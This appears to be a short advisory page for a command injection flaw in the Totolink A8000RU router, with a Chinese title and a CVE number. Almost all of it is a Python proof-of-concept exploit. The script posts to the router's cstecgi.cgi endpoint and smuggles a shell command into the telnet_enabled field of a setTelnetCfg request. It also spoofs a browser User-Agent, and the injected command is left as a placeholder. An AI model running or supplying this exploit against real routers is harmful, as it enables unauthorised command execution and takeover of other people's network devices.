CVE-2026-7152 Totolink A8000RU操作系统命令注入漏洞

import requests # Target URL of the vulnerable CGI endpoint target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers to mimic a legitimate browser request headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Payload data exploiting the telnet_enabled parameter # Injecting a command to enable telnet or execute a shell command data = { "topicurl": "setTelnetCfg", "telnet_enabled": "1; <inject_command_here>; #" } try: # Sending the POST request response = requests.post(target_url, headers=headers, data=data, timeout=5) # Checking if the exploit was successful if response.status_code == 200: print("Payload sent successfully. Check if the command was executed.") else: print(f"Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")